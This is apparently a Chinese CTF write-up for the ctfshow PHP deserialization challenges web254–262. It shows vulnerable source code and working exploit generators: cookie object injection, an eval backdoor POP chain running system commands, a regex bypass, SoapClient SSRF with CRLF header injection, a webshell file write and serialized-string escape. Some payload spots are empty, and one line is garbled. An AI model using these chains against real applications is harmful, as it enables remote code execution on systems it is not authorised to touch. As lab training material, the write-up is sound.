web254
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
GET传参即可:
web255
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
这次使用反序列化了,但是要对序列化后的对象中分号‘;’进行url编码。因为cookie是以;作为分隔符的,否则会导致解析错误。我们索性对序列化后的结果全部进行url半编码。
新建一个php文件执行:
<?php
class ctfShowUser{
public $isVip=true;
}
$a = new ctfShowUser();
echo urlencode(serialize($a));
hackbar设置cookie头即可。payload如下:
web256
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
这次添加了用户名和密码不能相同,在序列化时设置一下就好:
<?php
class ctfShowUser{
public $username='truthahn';
public $password='llama';
public $isVip=true;
}
$a = new ctfShowUser();
echo urlencode(serialize($a));
payload:
web257
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
增加了后门类,直接更改class为后门类并给code变量赋值即可:
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
private $code="system('tac f*');";
public function getInfo(){
eval($this->code);
}
}
echo urlencode(serialize(new ctfShowUser()));
payload:
web258
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
在反序列化之前进行了正则匹配,规则如下:
要求不能出现O/C:数字的形式,我们可以将序列化中的类似形式更改为O/C:+数字的形式来绕过过滤:
O:11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"class";O:8:"backDoor":1:{s:4:"code";s:17:"system('tac f*');";}}
发现有两处:“O:11"和"O:8”。
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
public $code="system('tac f*');";
public function getInfo(){
eval($this->code);
}
}
$a = serialize(new ctfShowUser());
$b = str_replace('O:11','O:+11',$a);
$c = str_replace('O:8','O:+8',$b);
echo urlencode($c);
至于为什么添加加号可以正常序列化,php处理反序列化的函数的c源码可以解释:
payload:
web259
源码:
$vip = unserialize($_GET['vip']);
$vip->getFlag();
要访问的flag.php:
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
这题的思路:反序列化原生类+SSRF。
根据php的机制,当调用未定义的方法时,会调用类的call方法。
flag.php逻辑是,对请求头中的X-Forwarded-For进行两次pop,所以我们需要构造的结构为:
X-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1
同时需要POST传入token,其值为ctfshow。
我们可以使用SoapClient原生类,该类的构造函数如下:
public SoapClient :: SoapClient (mixed $wsdl [,array $options ])
可以从UA下手,通过换行符进行请求头注入。使用nc.exe来监听端口并进行调试,确保构造正确。这里我们选择的是9999端口:
新建php文件web259.php:
<?php
$ua = "llama\r\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array('uri'=>'http://127.0.0.1:9999/','location'=>'http://127.0.0.1:9999/flag.php','user_agent'=>$ua));
$client->getFlag();
注意,php需要开启soap服务,本人使用的是php7.3.4,需要修改php.ini文件:
将extension=soap之前的注释符号去掉即可(如果是php5,则需找到extension=php_soap.dll)。
打开nc.exe所在cmd,执行:
.\nc.exe -lvp 9999
打开www服务,访问web259.php:
监听情况:
这样请求包就构造好了。
现在我们生成payload:
$ua = "llama\r\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array('uri'=>'http://127.0.0.1/','location'=>'http://127.0.0.1/flag.php','user_agent'=>$ua));
echo urlencode(serialize($client));
payload:
报错我们不管它,访问flag.txt即可得到flag:
web260
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}
字符串序列化后不变。
payload:
?ctfshow=ctfshow_i_love_36D
web261
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}
public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);
TIPS:
所以,我们就看__destruct()方法,发现弱等于:
if($this->code==0x36d){
0x36d十进制为877,所以我们只要以877开头即可。下一句是对文件名为
t
h
i
s
?
>
u
s
e
r
n
a
m
e
的
文
件
写
入
this->username的文件写入
this?>username的文件写入this->password的内容。
我们可以这样构造序列化:
<?php
class ctfshowvip{
public $username='877b.php';
public $password="<?=system('tac /flag*');";
}
$a = new ctfshowvip();
echo serialize($a);
payload:
?vip=O:10:"ctfshowvip":2:{s:8:"username";s:8:"877b.php";s:8:"password";s:24:"<?=system('tac /flag*');";}
访问877b.php即可得到flag:
**PS:**序列化中的魔法函数(具体的可参照官网:php魔术方法):
__invoke() 当尝试以调用函数的方式调用一个对象时,会被自动调用
__serialize() 序列化过程中,如果存在,该方法将在任何序列化之前优先执行
__unserialize() 反序列化过程中,如果存在,此函数将传递从__serialize()返回的恢复数组
__construct() 创建对象时调用
__destruct() 销毁对象时调用
__toString() 当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup() 在序列化之后立即被调用
__call() 在对象中调用一个不可访问方法时,__call() 会被调用。
web262
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
这题考察的是反序列化逃逸,强烈推荐看一遍群主的视频讲解。这里的
$umsg = str_replace('fuck', 'loveU', serialize($msg));
使序列化后的属性值长度增加,我们可以进行污染。
题目index.php头部有个小提示:
访问message.php:
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
这里执行了反序列化,可以看到token要设置成admin才行
使用预期解:
个人调试过程:
ini_set('display_errors','On');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$a = new message($f='1',$m='1',$t='fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');
echo str_repeat('fuck',27);
echo "<br>";
echo serialize($a);
echo "<br>";
echo "<br>";
$fil = str_replace('fuck','loveU',serialize($a));
echo $fil;
$a2 = unserialize($fil);
echo "<br>";
echo $a2->token;
echo "<br>";
var_dump($a2);
可以看到token被成功设置为admin:
payload:
?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
访问message.php即可得到flag:
web263
明天继续,持续更新
参考视频
B站BV号:BV1D64y1m78f
参考博客
|